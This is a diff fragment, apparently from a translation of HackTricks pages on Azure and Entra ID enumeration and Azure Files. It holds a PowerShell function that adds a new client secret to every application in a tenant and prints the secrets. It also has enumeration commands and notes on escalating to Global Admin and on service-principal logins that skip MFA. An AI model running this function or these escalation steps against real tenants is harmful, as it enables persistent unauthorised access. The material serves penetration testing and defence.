|
||||
|
||||
<details>
|
||||
|
||||
<summary>List and try to add a client secret on each Enterprise App</summary>
|
||||
|
||||
<summary>各エンタープライズアプリでクライアントシークレットをリストし、追加を試みる</summary>
|
||||
```powershell
|
||||
# Just call Add-AzADAppSecret
|
||||
Function Add-AzADAppSecret
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Add client secret to the applications.
|
||||
.SYNOPSIS
|
||||
Add client secret to the applications.
|
||||
|
||||
.PARAMETER GraphToken
|
||||
Pass the Graph API Token
|
||||
.PARAMETER GraphToken
|
||||
Pass the Graph API Token
|
||||
|
||||
.EXAMPLE
|
||||
PS C:\> Add-AzADAppSecret -GraphToken 'eyJ0eX..'
|
||||
.EXAMPLE
|
||||
PS C:\> Add-AzADAppSecret -GraphToken 'eyJ0eX..'
|
||||
|
||||
.LINK
|
||||
https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http
|
||||
https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http
|
||||
.LINK
|
||||
https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http
|
||||
https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]
|
||||
$GraphToken = $null
|
||||
)
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]
|
||||
$GraphToken = $null
|
||||
)
|
||||
|
||||
$AppList = $null
|
||||
$AppPassword = $null
|
||||
$AppList = $null
|
||||
$AppPassword = $null
|
||||
|
||||
# List All the Applications
|
||||
# List All the Applications
|
||||
|
||||
$Params = @{
|
||||
"URI" = "https://graph.microsoft.com/v1.0/applications"
|
||||
"Method" = "GET"
|
||||
"Headers" = @{
|
||||
"Content-Type" = "application/json"
|
||||
"Authorization" = "Bearer $GraphToken"
|
||||
}
|
||||
}
|
||||
$Params = @{
|
||||
"URI" = "https://graph.microsoft.com/v1.0/applications"
|
||||
"Method" = "GET"
|
||||
"Headers" = @{
|
||||
"Content-Type" = "application/json"
|
||||
"Authorization" = "Bearer $GraphToken"
|
||||
}
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
$AppList = Invoke-RestMethod @Params -UseBasicParsing
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
$AppList = Invoke-RestMethod @Params -UseBasicParsing
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
|
||||
# Add Password in the Application
|
||||
# Add Password in the Application
|
||||
|
||||
if($AppList -ne $null)
|
||||
{
|
||||
[System.Collections.ArrayList]$Details = @()
|
||||
if($AppList -ne $null)
|
||||
{
|
||||
[System.Collections.ArrayList]$Details = @()
|
||||
|
||||
foreach($App in $AppList.value)
|
||||
{
|
||||
$ID = $App.ID
|
||||
$psobj = New-Object PSObject
|
||||
foreach($App in $AppList.value)
|
||||
{
|
||||
$ID = $App.ID
|
||||
$psobj = New-Object PSObject
|
||||
|
||||
$Params = @{
|
||||
"URI" = "https://graph.microsoft.com/v1.0/applications/$ID/addPassword"
|
||||
"Method" = "POST"
|
||||
"Headers" = @{
|
||||
"Content-Type" = "application/json"
|
||||
"Authorization" = "Bearer $GraphToken"
|
||||
}
|
||||
}
|
||||
$Params = @{
|
||||
"URI" = "https://graph.microsoft.com/v1.0/applications/$ID/addPassword"
|
||||
"Method" = "POST"
|
||||
"Headers" = @{
|
||||
"Content-Type" = "application/json"
|
||||
"Authorization" = "Bearer $GraphToken"
|
||||
}
|
||||
}
|
||||
|
||||
$Body = @{
|
||||
"passwordCredential"= @{
|
||||
"displayName" = "Password"
|
||||
}
|
||||
}
|
||||
$Body = @{
|
||||
"passwordCredential"= @{
|
||||
"displayName" = "Password"
|
||||
}
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
$AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json)
|
||||
Add-Member -InputObject $psobj -NotePropertyName "Object ID" -NotePropertyValue $ID
|
||||
Add-Member -InputObject $psobj -NotePropertyName "App ID" -NotePropertyValue $App.appId
|
||||
Add-Member -InputObject $psobj -NotePropertyName "App Name" -NotePropertyValue $App.displayName
|
||||
Add-Member -InputObject $psobj -NotePropertyName "Key ID" -NotePropertyValue $AppPassword.keyId
|
||||
Add-Member -InputObject $psobj -NotePropertyName "Secret" -NotePropertyValue $AppPassword.secretText
|
||||
$Details.Add($psobj) | Out-Null
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Output "Failed to add new client secret to '$($App.displayName)' Application."
|
||||
}
|
||||
}
|
||||
if($Details -ne $null)
|
||||
{
|
||||
Write-Output ""
|
||||
Write-Output "Client secret added to : "
|
||||
Write-Output $Details | fl *
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Output "Failed to Enumerate the Applications."
|
||||
}
|
||||
try
|
||||
{
|
||||
$AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json)
|
||||
Add-Member -InputObject $psobj -NotePropertyName "Object ID" -NotePropertyValue $ID
|
||||
Add-Member -InputObject $psobj -NotePropertyName "App ID" -NotePropertyValue $App.appId
|
||||
Add-Member -InputObject $psobj -NotePropertyName "App Name" -NotePropertyValue $App.displayName
|
||||
Add-Member -InputObject $psobj -NotePropertyName "Key ID" -NotePropertyValue $AppPassword.keyId
|
||||
Add-Member -InputObject $psobj -NotePropertyName "Secret" -NotePropertyValue $AppPassword.secretText
|
||||
$Details.Add($psobj) | Out-Null
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Output "Failed to add new client secret to '$($App.displayName)' Application."
|
||||
}
|
||||
}
|
||||
if($Details -ne $null)
|
||||
{
|
||||
Write-Output ""
|
||||
Write-Output "Client secret added to : "
|
||||
Write-Output $Details | fl *
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Output "Failed to Enumerate the Applications."
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### Applications
|
||||
### アプリケーション
|
||||
|
||||
For more information about Applications check:
|
||||
アプリケーションに関する詳細情報は、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
When an App is generated 2 types of permissions are given:
|
||||
アプリが生成されると、2種類の権限が付与されます:
|
||||
|
||||
- **Permissions** given to the **Service Principal**
|
||||
- **Permissions** the **app** can have and use on **behalf of the user**.
|
||||
- **サービスプリンシパル**に与えられる**権限**
|
||||
- **ユーザー**の**代理**として**アプリ**が持ち、使用できる**権限**。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List Apps
|
||||
az ad app list
|
||||
@@ -666,11 +623,9 @@ az ad app list --show-mine
|
||||
# Get apps with generated secret or certificate
|
||||
az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Azure AD" }}
|
||||
|
||||
```powershell
|
||||
# List all registered applications
|
||||
Get-AzureADApplication -All $true
|
||||
@@ -681,11 +636,9 @@ Get-AzureADApplication -All $true | %{if(Get-AzureADApplicationPasswordCredentia
|
||||
# Get owner of an application
|
||||
Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# Get Apps
|
||||
Get-AzADApplication
|
||||
@@ -696,26 +649,25 @@ Get-AzADApplication | ?{$_.DisplayName -match "app"}
|
||||
# Get Apps with password
|
||||
Get-AzADAppCredential
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> An app with the permission **`AppRoleAssignment.ReadWrite`** can **escalate to Global Admin** by grating itself the role.\
|
||||
> For more information [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
|
||||
> **`AppRoleAssignment.ReadWrite`** の権限を持つアプリは、役割を自分に付与することで **グローバル管理者に昇格** できます。\
|
||||
> 詳細については [**こちらを確認してください**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48) を参照してください。
|
||||
|
||||
> [!NOTE]
|
||||
> A secret string that the application uses to prove its identity when requesting a token is the application password.\
|
||||
> So, if find this **password** you can access as the **service principal** **inside** the **tenant**.\
|
||||
> Note that this password is only visible when generated (you could change it but you cannot get it again).\
|
||||
> The **owner** of the **application** can **add a password** to it (so he can impersonate it).\
|
||||
> Logins as these service principals are **not marked as risky** and they **won't have MFA.**
|
||||
> アプリケーションがトークンを要求する際にそのアイデンティティを証明するために使用する秘密の文字列は、アプリケーションパスワードです。\
|
||||
> したがって、この **パスワード** を見つけると、**テナント** 内の **サービスプリンシパル** としてアクセスできます。\
|
||||
> このパスワードは生成時にのみ表示されることに注意してください(変更することはできますが、再取得することはできません)。\
|
||||
> **アプリケーション** の **所有者** は、(彼がそれを偽装できるように)**パスワードを追加** できます。\
|
||||
> これらのサービスプリンシパルとしてのログインは **リスクありとしてマークされず**、**MFAはありません。**
|
||||
|
||||
It's possible to find a list of commonly used App IDs that belongs to Microsoft in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
|
||||
一般的に使用される Microsoft のアプリ ID のリストは、[https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) で見つけることができます。
|
||||
|
||||
### Managed Identities
|
||||
### マネージドアイデンティティ
|
||||
|
||||
For more information about Managed Identities check:
|
||||
マネージドアイデンティティに関する詳細は、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -723,19 +675,17 @@ For more information about Managed Identities check:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List all manged identities
|
||||
az identity list --output table
|
||||
# With the principal ID you can continue the enumeration in service principals
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Azure Roles
|
||||
|
||||
For more information about Azure roles check:
|
||||
Azureロールに関する詳細情報は、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -743,7 +693,6 @@ For more information about Azure roles check:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# Get roles
|
||||
az role definition list
|
||||
@@ -765,11 +714,9 @@ az role assignment list --assignee "<email>" --all --output table
|
||||
# Get all the roles assigned to a user by filtering
|
||||
az role assignment list --all --query "[?principalName=='carlos@carloshacktricks.onmicrosoft.com']" --output table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# Get role assignments on the subscription
|
||||
Get-AzRoleDefinition
|
||||
@@ -779,31 +726,28 @@ Get-AzRoleDefinition -Name "Virtual Machine Command Executor"
|
||||
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
|
||||
Get-AzRoleAssignment -Scope /subscriptions/<subscription-id>/resourceGroups/<res_group_name>/providers/Microsoft.Compute/virtualMachines/<vm_name>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Raw" }}
|
||||
|
||||
```powershell
|
||||
# Get permissions over a resource using ARM directly
|
||||
$Token = (Get-AzAccessToken).Token
|
||||
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
|
||||
$RequestParams = @{
|
||||
Method = 'GET'
|
||||
Uri = $URI
|
||||
Headers = @{
|
||||
'Authorization' = "Bearer $Token"
|
||||
}
|
||||
Method = 'GET'
|
||||
Uri = $URI
|
||||
Headers = @{
|
||||
'Authorization' = "Bearer $Token"
|
||||
}
|
||||
}
|
||||
(Invoke-RestMethod @RequestParams).value
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Entra ID Roles
|
||||
### Entra ID ロール
|
||||
|
||||
For more information about Azure roles check:
|
||||
Azure ロールに関する詳細情報は、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -811,55 +755,52 @@ For more information about Azure roles check:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List template Entra ID roles
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoleTemplates"
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoleTemplates"
|
||||
|
||||
# List enabled built-in Entra ID roles
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
|
||||
|
||||
# List all Entra ID roles with their permissions (including custom roles)
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions"
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions"
|
||||
|
||||
# List only custom Entra ID roles
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
|
||||
|
||||
# List all assigned Entra ID roles
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"
|
||||
|
||||
# List members of a Entra ID roles
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoles/<role-id>/members"
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoles/<role-id>/members"
|
||||
|
||||
# List Entra ID roles assigned to a user
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/users/<user-id>/memberOf/microsoft.graph.directoryRole" \
|
||||
--query "value[]" \
|
||||
--output json
|
||||
--uri "https://graph.microsoft.com/v1.0/users/<user-id>/memberOf/microsoft.graph.directoryRole" \
|
||||
--query "value[]" \
|
||||
--output json
|
||||
|
||||
# List Entra ID roles assigned to a group
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \
|
||||
--query "value[]" \
|
||||
--output json
|
||||
--uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \
|
||||
--query "value[]" \
|
||||
--output json
|
||||
|
||||
# List Entra ID roles assigned to a service principal
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \
|
||||
--query "value[]" \
|
||||
--output json
|
||||
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \
|
||||
--query "value[]" \
|
||||
--output json
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Azure AD" }}
|
||||
|
||||
```powershell
|
||||
# Get all available role templates
|
||||
Get-AzureADDirectoryroleTemplate
|
||||
@@ -874,23 +815,19 @@ Get-AzureADDirectoryRole -ObjectId <id> | fl
|
||||
# Roles of the Administrative Unit (who has permissions over the administrative unit and its members)
|
||||
Get-AzureADMSScopedRoleMembership -Id <id> | fl *
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Devices
|
||||
### デバイス
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# If you know how to do this send a PR!
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Azure AD" }}
|
||||
|
||||
```powershell
|
||||
# Enumerate Devices
|
||||
Get-AzureADDevice -All $true | fl *
|
||||
@@ -909,17 +846,16 @@ Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
|
||||
# Get Administrative Units of a device
|
||||
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -ObjectId $_.ObjectId | where {$_.ObjectId -eq $deviceObjId} }
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> If a device (VM) is **AzureAD joined**, users from AzureAD are going to be **able to login**.\
|
||||
> Moreover, if the logged user is **Owner** of the device, he is going to be **local admin**.
|
||||
> デバイス (VM) が **AzureAD に参加している** 場合、AzureAD のユーザーは **ログインできる** ようになります。\
|
||||
> さらに、ログインしているユーザーがデバイスの **オーナー** である場合、彼は **ローカル管理者** になります。
|
||||
|
||||
### Administrative Units
|
||||
### 管理ユニット
|
||||
|
||||
For more information about administrative units check:
|
||||
管理ユニットに関する詳細情報は、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -927,7 +863,6 @@ For more information about administrative units check:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List all administrative units
|
||||
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits"
|
||||
@@ -938,11 +873,9 @@ az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administr
|
||||
# Get principals with roles over the AU
|
||||
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers"
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="AzureAD" }}
|
||||
|
||||
```powershell
|
||||
# Get Administrative Units
|
||||
Get-AzureADMSAdministrativeUnit
|
||||
@@ -954,82 +887,77 @@ Get-AzureADMSAdministrativeUnitMember -Id <id>
|
||||
# Get the roles users have over the members of the AU
|
||||
Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Entra ID Privilege Escalation
|
||||
## Entra ID 特権昇格
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/
|
||||
{{#endref}}
|
||||
|
||||
## Azure Privilege Escalation
|
||||
## Azure 特権昇格
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-authorization-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Defensive Mechanisms
|
||||
## 防御メカニズム
|
||||
|
||||
### Privileged Identity Management (PIM)
|
||||
### 特権アイデンティティ管理 (PIM)
|
||||
|
||||
Privileged Identity Management (PIM) in Azure helps to **prevent excessive privileges** to being assigned to users unnecessarily.
|
||||
Azure の特権アイデンティティ管理 (PIM) は、**ユーザーに不必要に過剰な特権が割り当てられるのを防ぐ**のに役立ちます。
|
||||
|
||||
One of the main features provided by PIM is that It allows to not assign roles to principals that are constantly active, but make them **eligible for a period of time (e.g. 6months)**. Then, whenever the user wants to activate that role, he needs to ask for it indicating the time he needs the privilege (e.g. 3 hours). Then an **admin needs to approve** the request.\
|
||||
Note that the user will also be able to ask to **extend** the time.
|
||||
PIM が提供する主な機能の一つは、常にアクティブなプリンシパルにロールを割り当てるのではなく、**一定期間(例:6ヶ月)資格を与える**ことができる点です。ユーザーがそのロールをアクティブにしたい場合、必要な特権の時間(例:3時間)を示してリクエストを行う必要があります。その後、**管理者がリクエストを承認する必要があります**。\
|
||||
ユーザーはまた、**時間を延長する**ようにリクエストすることもできます。
|
||||
|
||||
Moreover, **PIM send emails** whenever a privileged role is being assigned to someone.
|
||||
さらに、**PIM は特権ロールが誰かに割り当てられるたびにメールを送信します**。
|
||||
|
||||
<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
When PIM is enabled it's possible to configure each role with certain requirements like:
|
||||
PIM が有効になっていると、各ロールに対して次のような特定の要件を設定できます:
|
||||
|
||||
- Maximum duration (hours) of activation
|
||||
- Require MFA on activation
|
||||
- Require Conditional Access acuthenticaiton context
|
||||
- Require justification on activation
|
||||
- Require ticket information on activation
|
||||
- Require approval to activate
|
||||
- Max time to expire the elegible assignments 
|
||||
- A lot more configuration on when and who to send notifications when certain actions happen with that role
|
||||
- アクティベーションの最大期間(時間)
|
||||
- アクティベーション時に MFA を要求
|
||||
- 条件付きアクセス認証コンテキストを要求
|
||||
- アクティベーション時に正当化を要求
|
||||
- アクティベーション時にチケット情報を要求
|
||||
- アクティベートするための承認を要求
|
||||
- 資格のある割り当ての最大期限
|
||||
- 特定のアクションがそのロールで発生したときに通知を送信する際の設定がさらに多くあります
|
||||
|
||||
### Conditional Access Policies <a href="#title-text" id="title-text"></a>
|
||||
### 条件付きアクセス ポリシー <a href="#title-text" id="title-text"></a>
|
||||
|
||||
Check:
|
||||
確認:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### Entra Identity Protection <a href="#title-text" id="title-text"></a>
|
||||
### Entra アイデンティティ保護 <a href="#title-text" id="title-text"></a>
|
||||
|
||||
Entra Identity Protection is a security service that allows to **detect when a user or a sign-in is too risky** to be accepted, allowing to **block** the user or the sig-in attempt.
|
||||
Entra アイデンティティ保護は、**ユーザーまたはサインインが受け入れられるにはリスクが高すぎる場合を検出する**セキュリティサービスで、ユーザーまたはサインインの試行を**ブロック**することができます。
|
||||
|
||||
It allows the admin to configure it to **block** attempts when the risk is "Low and above", "Medium and above" or "High". Although, by default it's completely **disabled**:
|
||||
管理者は、リスクが「低およびそれ以上」、「中程度およびそれ以上」または「高」である場合に試行を**ブロック**するように設定できます。ただし、デフォルトでは完全に**無効**です:
|
||||
|
||||
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Nowadays it's recommended to add these restrictions via Conditional Access policies where it's possible to configure the same options.
|
||||
> 現在、同じオプションを設定できる条件付きアクセス ポリシーを介してこれらの制限を追加することが推奨されています。
|
||||
|
||||
### Entra Password Protection
|
||||
### Entra パスワード保護
|
||||
|
||||
Entra Password Protection ([https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) is a security feature that **helps prevent the abuse of weak passwords in by locking out accounts when several unsuccessful login attempts happen**.\
|
||||
It also allows to **ban a custom password list** that you need to provide.
|
||||
Entra パスワード保護 ([https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) は、**複数の不成功なログイン試行が発生した場合にアカウントをロックアウトすることによって弱いパスワードの乱用を防ぐのに役立つ**セキュリティ機能です。\
|
||||
また、提供する必要のある**カスタムパスワードリストを禁止する**こともできます。
|
||||
|
||||
It can be **applied both** at the cloud level and on-premises Active Directory.
|
||||
これは、クラウドレベルとオンプレミスの Active Directory の両方に**適用できます**。
|
||||
|
||||
The default mode is **Audit**:
|
||||
デフォルトモードは**監査**です:
|
||||
|
||||
<figure><img src="../../../images/image (355).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,37 +2,36 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本情報
|
||||
|
||||
**Azure Files** is a fully managed cloud file storage service that provides shared file storage accessible via standard **SMB (Server Message Block)** and **NFS (Network File System)** protocols. Although the main protocol used is SMB as NFS Azure file shares aren't supported for Windows (according to the [**docs**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)). It allows you to create highly available network file shares that can be accessed simultaneously by multiple virtual machines (VMs) or on-premises systems, enabling seamless file sharing across environments.
|
||||
**Azure Files** は、標準の **SMB (Server Message Block)** および **NFS (Network File System)** プロトコルを介してアクセス可能な共有ファイルストレージを提供する完全管理型のクラウドファイルストレージサービスです。主に使用されるプロトコルはSMBですが、NFS Azureファイル共有はWindowsではサポートされていません([**ドキュメント**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)による)。これにより、複数の仮想マシン(VM)やオンプレミスシステムから同時にアクセスできる高可用性のネットワークファイル共有を作成でき、環境間でシームレスなファイル共有が可能になります。
|
||||
|
||||
### Access Tiers
|
||||
### アクセスティア
|
||||
|
||||
- **Transaction Optimized**: Optimized for transaction-heavy operations.
|
||||
- **Hot**: Balanced between transactions and storage.
|
||||
- **Cool**: Cost-effective for storage.
|
||||
- **Premium:** High-performance file storage optimized for low-latency and IOPS-intensive workloads.
|
||||
- **トランザクション最適化**: トランザクションが多い操作に最適化されています。
|
||||
- **ホット**: トランザクションとストレージのバランスが取れています。
|
||||
- **クール**: ストレージに対してコスト効果があります。
|
||||
- **プレミアム**: 低遅延およびIOPS集中的なワークロードに最適化された高性能ファイルストレージです。
|
||||
|
||||
### Backups
|
||||
### バックアップ
|
||||
|
||||
- **Daily backup**: A backup point is created each day at an indicated time (e.g. 19.30 UTC) and stored for from 1 to 200 days.
|
||||
- **Weekly backup**: A backup point is created each week at an indicated day and time (Sunday at 19.30) and stored for from 1 to 200 weeks.
|
||||
- **Monthly backup**: A backup point is created each month at an indicated day and time (e.g. first Sunday at 19.30) and stored for from 1 to 120 months.
|
||||
- **Yearly backup**: A backup point is created each year at an indicated day and time (e.g. January first Sunday at 19.30) and stored for from 1 to 10 years.
|
||||
- It's also possible to perform **manual backups and snapshots at any time**. Backups and snapshots are actually the same in this context.
|
||||
- **日次バックアップ**: 指定された時間(例:19.30 UTC)に毎日バックアップポイントが作成され、1日から200日間保存されます。
|
||||
- **週次バックアップ**: 指定された曜日と時間(毎週日曜日の19.30)にバックアップポイントが作成され、1週間から200週間保存されます。
|
||||
- **月次バックアップ**: 指定された日と時間(例:毎月の最初の日曜日の19.30)にバックアップポイントが作成され、1ヶ月から120ヶ月保存されます。
|
||||
- **年次バックアップ**: 指定された日と時間(例:1月の最初の日曜日の19.30)にバックアップポイントが作成され、1年から10年間保存されます。
|
||||
- **手動バックアップおよびスナップショットをいつでも実行することも可能です**。バックアップとスナップショットは、この文脈では実際には同じものです。
|
||||
|
||||
### Supported Authentications via SMB
|
||||
### SMB経由でサポートされる認証
|
||||
|
||||
- **On-premises AD DS Authentication**: It uses on-premises Active Directory credentials synced with Microsoft Entra ID for identity-based access. It requires network connectivity to on-premises AD DS.
|
||||
- **Microsoft Entra Domain Services Authentication**: It leverages Microsoft Entra Domain Services (cloud-based AD) to provide access using Microsoft Entra credentials.
|
||||
- **Microsoft Entra Kerberos for Hybrid Identities**: It enables Microsoft Entra users to authenticate Azure file shares over the internet using Kerberos. It supports hybrid Microsoft Entra joined or Microsoft Entra joined VMs without requiring connectivity to on-premises domain controllers. But it does not support cloud-only identities.
|
||||
- **AD Kerberos Authentication for Linux Clients**: It allows Linux clients to use Kerberos for SMB authentication via on-premises AD DS or Microsoft Entra Domain Services.
|
||||
- **オンプレミスAD DS認証**: オンプレミスのActive Directory資格情報を使用し、Microsoft Entra IDと同期してアイデンティティベースのアクセスを提供します。オンプレミスAD DSへのネットワーク接続が必要です。
|
||||
- **Microsoft Entraドメインサービス認証**: Microsoft Entra資格情報を使用してアクセスを提供するために、Microsoft Entraドメインサービス(クラウドベースのAD)を活用します。
|
||||
- **ハイブリッドアイデンティティのためのMicrosoft Entra Kerberos**: Microsoft Entraユーザーがインターネット経由でAzureファイル共有をKerberosを使用して認証できるようにします。オンプレミスのドメインコントローラーへの接続を必要とせず、ハイブリッドMicrosoft Entra参加またはMicrosoft Entra参加のVMをサポートします。ただし、クラウド専用のアイデンティティはサポートされていません。
|
||||
- **LinuxクライアントのためのAD Kerberos認証**: LinuxクライアントがオンプレミスAD DSまたはMicrosoft Entraドメインサービスを介してSMB認証のためにKerberosを使用できるようにします。
|
||||
|
||||
## Enumeration
|
||||
## 列挙
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="az cli"}}
|
||||
|
||||
```bash
|
||||
# Get storage accounts
|
||||
az storage account list #Get the account name from here
|
||||
@@ -54,11 +53,9 @@ az storage file list --account-name <name> --share-name <share-name> --snapshot
|
||||
# Download snapshot/backup
|
||||
az storage file download-batch -d . --account-name <name> --source <share-name> --snapshot <snapshot-version>
|
||||
```
|
||||
|
||||
